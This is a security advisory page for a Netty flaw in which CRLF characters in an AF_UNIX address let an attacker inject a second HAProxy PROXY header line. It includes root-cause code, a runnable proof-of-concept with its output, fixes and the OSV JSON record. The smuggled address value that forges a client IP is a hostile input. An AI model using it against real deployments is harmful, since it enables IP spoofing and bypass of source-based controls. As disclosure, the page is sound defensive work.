ghsa-wh89-7897-x99h

CVSS 5.5 osv_maven
Description

# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty ## 1. Vulnerability Summary | Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) | | **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences | | **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing | | **CVSS 3.1 Score** | **7.5 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` | ## 2. Affected Components - `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` — `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation - `io.netty.handler.codec.haproxy.HAProxyMessage` — constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439) ## 3. Vulnerability Description Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\r\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header. ### Root Cause — Encoder ```java // HAProxyMessageEncoder.java:63-77 private static void encodeV1(HAProxyMessage msg, ByteBuf out) { out.writeBytes(TEXT_PREFIX); // "PROXY " out.writeByte((byte) ' '); out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM" out.writeByte((byte) ' '); out.writeCharSequence(msg.sourceAddress(), US_ASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); out.writeCharSequence(msg.destinationAddress(), US_ASCII); // <-- NO CRLF CHECK out.writeByte((byte) ' '); // ... out.writeByte((byte) '\r'); out.writeByte((byte) '\n'); } ``` ### Root Cause — Insufficient Address Validation ```java // HAProxyMessage.java:428-442 private static void checkAddress(String address, AddressFamily addrFamily) { switch (addrFamily) { case AF_UNIX: ObjectUtil.checkNotNull(address, "address"); if (address.getBytes(CharsetUtil.US_ASCII).length > 108) { throw new IllegalArgumentException("invalid AF_UNIX address: " + address); } return; // ONLY checks length <= 108, NO CRLF validation! case AF_IPv4: if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF case AF_IPv6: if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF } } ``` IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length <= 108`** — any characters including CRLF are accepted. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. An application uses Netty's `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers 2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input 3. The encoded PROXY header is sent to a downstream server or load balancer **Affected use cases**: - PROXY protocol relays that construct AF_UNIX messages from upstream data - Load balancer integrations where socket paths come from configuration or external sources - Multi-tenant proxies that dynamically construct PROXY headers ## 5. Attack Scenario ### Client IP Spoofing via Second PROXY Line Injection ```java String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIX_STREAM, maliciousAddr, // CRLF-injected source address "/var/run/dest.sock", 0, 0); ``` **Wire format sent to backend**: ``` PROXY UNIX_STREAM /var/run/app.sock PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0 ``` The backend receives **two PROXY lines**. Depending on implementation: - HAProxy: may use the first line and ignore the second - Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1` - This enables **client IP spoofing** — the backend believes the client is `10.0.0.1` when it's not ## 6. Proof of Concept ### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.haproxy.*; import java.nio.charset.StandardCharsets; public class HAProxyUnixCRLFPoC { public static void main(String[] args) { System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n"); String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"; String destAddr = "/var/run/dest.sock"; HAProxyMessage msg = new HAProxyMessage( HAProxyProtocolVersion.V1, HAProxyCommand.PROXY, HAProxyProxiedProtocol.UNIX_STREAM, maliciousAddr, destAddr, 0, 0); EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE); ch.writeOutbound(msg); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF_8); out.release(); ch.finishAndReleaseAll(); System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } int proxyCount = 0; for (String line : encoded.split("\r\n")) { if (line.startsWith("PROXY")) proxyCount++; } System.out.println("PROXY lines: " + proxyCount); System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO")); } } ``` ### How to Compile and Run ```bash JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':') javac -cp "$JARS" HAProxyUnixCRLFPoC.java java -cp "$JARS:." HAProxyUnixCRLFPoC ``` ### PoC Execution Output (Verified on Netty 4.2.12.Final) ``` === Netty HAProxy AF_UNIX CRLF Injection PoC === [TEST 1] AF_UNIX Source Address CRLF Injection ------------------------------------------------ Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80" Wire format: PROXY UNIX_STREAM /var/run/app.sock\r PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r PROXY lines found: 2 VULNERABLE: YES - Second PROXY line injected! ``` ## 7. Remediation Recommendations ### Option 1: Validate AF_UNIX Addresses for CRLF ```java // HAProxyMessage.java checkAddress() - add for AF_UNIX: case AF_UNIX: ObjectUtil.checkNotNull(address, "address"); byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII); if (addrBytes.length > 108) { throw new IllegalArgumentException("invalid AF_UNIX address: too long"); } for (byte b : addrBytes) { if (b == '\r' || b == '\n') { throw new IllegalArgumentException( "AF_UNIX address contains prohibited CRLF character"); } } return; ``` ### Option 2: Validate in Encoder ```java // HAProxyMessageEncoder.java encodeV1() - validate before writing: private static void validateV1Address(String address) { for (int i = 0; i < address.length(); i++) { char c = address.charAt(i); if (c == '\r' || c == '\n' || c == ' ') { throw new HAProxyProtocolException( "V1 address contains prohibited character at index " + i); } } } ``` ## 8. References - [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)

Timeline
Published
unknown
Last Modified
unknown
CVSS Details

CVSS details not available.

Affected Products

No product information available.

Weaknesses (CWE)
CWE-93
References
Linked Vulnerabilities

No linked vulnerabilities found.

{
  "affected": [
    {
      "database_specific": {
        "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-wh89-7897-x99h/GHSA-wh89-7897-x99h.json"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy",
        "purl": "pkg:maven/io.netty/netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.16.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.2.0.Final",
        "4.2.1.Final",
        "4.2.10.Final",
        "4.2.11.Final",
        "4.2.12.Final",
        "4.2.13.Final",
        "4.2.14.Final",
        "4.2.15.Final",
        "4.2.2.Final",
        "4.2.3.Final",
        "4.2.4.Final",
        "4.2.5.Final",
        "4.2.6.Final",
        "4.2.7.Final",
        "4.2.8.Final",
        "4.2.9.Final"
      ]
    },
    {
      "database_specific": {
        "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-wh89-7897-x99h/GHSA-wh89-7897-x99h.json"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-haproxy",
        "purl": "pkg:maven/io.netty/netty-codec-haproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.136.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.29.Final",
        "4.0.30.Final",
        "4.0.31.Final",
        "4.0.32.Final",
        "4.0.33.Final",
        "4.0.34.Final",
        "4.0.35.Final",
        "4.0.36.Final",
        "4.0.37.Final",
        "4.0.38.Final",
        "4.0.39.Final",
        "4.0.40.Final",
        "4.0.41.Final",
        "4.0.42.Final",
        "4.0.43.Final",
        "4.0.44.Final",
        "4.0.45.Final",
        "4.0.46.Final",
        "4.0.47.Final",
        "4.0.48.Final",
        "4.0.49.Final",
        "4.0.50.Final",
        "4.0.51.Final",
        "4.0.52.Final",
        "4.0.53.Final",
        "4.0.54.Final",
        "4.0.55.Final",
        "4.0.56.Final",
        "4.1.0.Beta1",
        "4.1.0.Beta2",
        "4.1.0.Beta3",
        "4.1.0.Beta4",
        "4.1.0.Beta5",
        "4.1.0.Beta6",
        "4.1.0.Beta7",
        "4.1.0.Beta8",
        "4.1.0.CR1",
        "4.1.0.CR2",
        "4.1.0.CR3",
        "4.1.0.CR4",
        "4.1.0.CR5",
        "4.1.0.CR6",
        "4.1.0.CR7",
        "4.1.0.Final",
        "4.1.1.Final",
        "4.1.10.Final",
        "4.1.100.Final",
        "4.1.101.Final",
        "4.1.102.Final",
        "4.1.103.Final",
        "4.1.104.Final",
        "4.1.105.Final",
        "4.1.106.Final",
        "4.1.107.Final",
        "4.1.108.Final",
        "4.1.109.Final",
        "4.1.11.Final",
        "4.1.110.Final",
        "4.1.111.Final",
        "4.1.112.Final",
        "4.1.113.Final",
        "4.1.114.Final",
        "4.1.115.Final",
        "4.1.116.Final",
        "4.1.117.Final",
        "4.1.118.Final",
        "4.1.119.Final",
        "4.1.12.Final",
        "4.1.120.Final",
        "4.1.121.Final",
        "4.1.122.Final",
        "4.1.123.Final",
        "4.1.124.Final",
        "4.1.125.Final",
        "4.1.126.Final",
        "4.1.127.Final",
        "4.1.128.Final",
        "4.1.129.Final",
        "4.1.13.Final",
        "4.1.130.Final",
        "4.1.131.Final",
        "4.1.132.Final",
        "4.1.133.Final",
        "4.1.134.Final",
        "4.1.135.Final",
        "4.1.14.Final",
        "4.1.15.Final",
        "4.1.16.Final",
        "4.1.17.Final",
        "4.1.18.Final",
        "4.1.19.Final",
        "4.1.2.Final",
        "4.1.20.Final",
        "4.1.21.Final",
        "4.1.22.Final",
        "4.1.23.Final",
        "4.1.24.Final",
        "4.1.25.Final",
        "4.1.26.Final",
        "4.1.27.Final",
        "4.1.28.Final",
        "4.1.29.Final",
        "4.1.3.Final",
        "4.1.30.Final",
        "4.1.31.Final",
        "4.1.32.Final",
        "4.1.33.Final",
        "4.1.34.Final",
        "4.1.35.Final",
        "4.1.36.Final",
        "4.1.37.Final",
        "4.1.38.Final",
        "4.1.39.Final",
        "4.1.4.Final",
        "4.1.40.Final",
        "4.1.41.Final",
        "4.1.42.Final",
        "4.1.43.Final",
        "4.1.44.Final",
        "4.1.45.Final",
        "4.1.46.Final",
        "4.1.47.Final",
        "4.1.48.Final",
        "4.1.49.Final",
        "4.1.5.Final",
        "4.1.50.Final",
        "4.1.51.Final",
        "4.1.52.Final",
        "4.1.53.Final",
        "4.1.54.Final",
        "4.1.55.Final",
        "4.1.56.Final",
        "4.1.57.Final",
        "4.1.58.Final",
        "4.1.59.Final",
        "4.1.6.Final",
        "4.1.60.Final",
        "4.1.61.Final",
        "4.1.62.Final",
        "4.1.63.Final",
        "4.1.64.Final",
        "4.1.65.Final",
        "4.1.66.Final",
        "4.1.67.Final",
        "4.1.68.Final",
        "4.1.69.Final",
        "4.1.7.Final",
        "4.1.70.Final",
        "4.1.71.Final",
        "4.1.72.Final",
        "4.1.73.Final",
        "4.1.74.Final",
        "4.1.75.Final",
        "4.1.76.Final",
        "4.1.77.Final",
        "4.1.78.Final",
        "4.1.79.Final",
        "4.1.8.Final",
        "4.1.80.Final",
        "4.1.81.Final",
        "4.1.82.Final",
        "4.1.83.Final",
        "4.1.84.Final",
        "4.1.85.Final",
        "4.1.86.Final",
        "4.1.87.Final",
        "4.1.88.Final",
        "4.1.89.Final",
        "4.1.9.Final",
        "4.1.90.Final",
        "4.1.91.Final",
        "4.1.92.Final",
        "4.1.93.Final",
        "4.1.94.Final",
        "4.1.95.Final",
        "4.1.96.Final",
        "4.1.97.Final",
        "4.1.98.Final",
        "4.1.99.Final"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:51:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-haproxy) |\n| **Component** | `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences |\n| **Impact** | HAProxy PROXY Protocol Injection / Client IP Spoofing |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.haproxy.HAProxyMessageEncoder` — `encodeV1()` method (lines 63-77): writes `sourceAddress` and `destinationAddress` directly to output without CRLF validation\n- `io.netty.handler.codec.haproxy.HAProxyMessage` — constructor `checkAddress()` validates IPv4/IPv6 format but **only checks length for AF_UNIX** (line 439)\n\n## 3. Vulnerability Description\n\nNetty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format **without validating for CRLF characters**. The V1 protocol uses CRLF (`\\r\\n`) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.\n\n### Root Cause — Encoder\n\n```java\n// HAProxyMessageEncoder.java:63-77\nprivate static void encodeV1(HAProxyMessage msg, ByteBuf out) {\n    out.writeBytes(TEXT_PREFIX);                                    // \"PROXY \"\n    out.writeByte((byte) ' ');\n    out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // \"UNIX_STREAM\"\n    out.writeByte((byte) ' ');\n    out.writeCharSequence(msg.sourceAddress(), US_ASCII);           // <-- NO CRLF CHECK\n    out.writeByte((byte) ' ');\n    out.writeCharSequence(msg.destinationAddress(), US_ASCII);      // <-- NO CRLF CHECK\n    out.writeByte((byte) ' ');\n    // ...\n    out.writeByte((byte) '\\r');\n    out.writeByte((byte) '\\n');\n}\n```\n\n### Root Cause — Insufficient Address Validation\n\n```java\n// HAProxyMessage.java:428-442\nprivate static void checkAddress(String address, AddressFamily addrFamily) {\n    switch (addrFamily) {\n        case AF_UNIX:\n            ObjectUtil.checkNotNull(address, \"address\");\n            if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {\n                throw new IllegalArgumentException(\"invalid AF_UNIX address: \" + address);\n            }\n            return;  // ONLY checks length <= 108, NO CRLF validation!\n        case AF_IPv4:\n            if (!NetUtil.isValidIpV4Address(address)) { ... }  // Format check blocks CRLF\n        case AF_IPv6:\n            if (!NetUtil.isValidIpV6Address(address)) { ... }  // Format check blocks CRLF\n    }\n}\n```\n\nIPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But **AF_UNIX addresses only check `length <= 108`** — any characters including CRLF are accepted.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses Netty's `HAProxyMessageEncoder` to construct HAProxy V1 protocol headers\n2. AF_UNIX (`UNIX_STREAM` or `UNIX_DGRAM`) addresses contain user-controlled input\n3. The encoded PROXY header is sent to a downstream server or load balancer\n\n**Affected use cases**:\n- PROXY protocol relays that construct AF_UNIX messages from upstream data\n- Load balancer integrations where socket paths come from configuration or external sources\n- Multi-tenant proxies that dynamically construct PROXY headers\n\n## 5. Attack Scenario\n\n### Client IP Spoofing via Second PROXY Line Injection\n\n```java\nString maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n\nHAProxyMessage msg = new HAProxyMessage(\n    HAProxyProtocolVersion.V1,\n    HAProxyCommand.PROXY,\n    HAProxyProxiedProtocol.UNIX_STREAM,\n    maliciousAddr,                    // CRLF-injected source address\n    \"/var/run/dest.sock\",\n    0, 0);\n```\n\n**Wire format sent to backend**:\n```\nPROXY UNIX_STREAM /var/run/app.sock\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\n```\n\nThe backend receives **two PROXY lines**. Depending on implementation:\n- HAProxy: may use the first line and ignore the second\n- Other implementations: may use the **second** line, treating the connection as TCP4 from `10.0.0.1`\n- This enables **client IP spoofing** — the backend believes the client is `10.0.0.1` when it's not\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.haproxy.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HAProxyUnixCRLFPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\\n\");\n\n        String maliciousAddr = \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\";\n        String destAddr = \"/var/run/dest.sock\";\n\n        HAProxyMessage msg = new HAProxyMessage(\n            HAProxyProtocolVersion.V1,\n            HAProxyCommand.PROXY,\n            HAProxyProxiedProtocol.UNIX_STREAM,\n            maliciousAddr, destAddr, 0, 0);\n\n        EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);\n        ch.writeOutbound(msg);\n\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n\n        int proxyCount = 0;\n        for (String line : encoded.split(\"\\r\\n\")) {\n            if (line.startsWith(\"PROXY\")) proxyCount++;\n        }\n        System.out.println(\"PROXY lines: \" + proxyCount);\n        System.out.println(\"VULNERABLE: \" + (proxyCount > 1 ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\njavac -cp \"$JARS\" HAProxyUnixCRLFPoC.java\njava -cp \"$JARS:.\" HAProxyUnixCRLFPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n\n[TEST 1] AF_UNIX Source Address CRLF Injection\n------------------------------------------------\n  Source address: \"/var/run/app.sock\\r\\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80\"\n  Wire format:\n    PROXY UNIX_STREAM /var/run/app.sock\\r\n    PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\\r\n\n  PROXY lines found: 2\n  VULNERABLE: YES - Second PROXY line injected!\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Validate AF_UNIX Addresses for CRLF\n\n```java\n// HAProxyMessage.java checkAddress() - add for AF_UNIX:\ncase AF_UNIX:\n    ObjectUtil.checkNotNull(address, \"address\");\n    byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);\n    if (addrBytes.length > 108) {\n        throw new IllegalArgumentException(\"invalid AF_UNIX address: too long\");\n    }\n    for (byte b : addrBytes) {\n        if (b == '\\r' || b == '\\n') {\n            throw new IllegalArgumentException(\n                \"AF_UNIX address contains prohibited CRLF character\");\n        }\n    }\n    return;\n```\n\n### Option 2: Validate in Encoder\n\n```java\n// HAProxyMessageEncoder.java encodeV1() - validate before writing:\nprivate static void validateV1Address(String address) {\n    for (int i = 0; i < address.length(); i++) {\n        char c = address.charAt(i);\n        if (c == '\\r' || c == '\\n' || c == ' ') {\n            throw new HAProxyProtocolException(\n                \"V1 address contains prohibited character at index \" + i);\n        }\n    }\n}\n```\n\n## 8. References\n\n- [HAProxy PROXY Protocol v1 Specification](https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)",
  "id": "GHSA-wh89-7897-x99h",
  "modified": "2026-09-10T03:51:12.532785134Z",
  "published": "2026-07-22T21:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wh89-7897-x99h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
    }
  ],
  "schema_version": "1.9.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address"
}
View JSON API Download JSON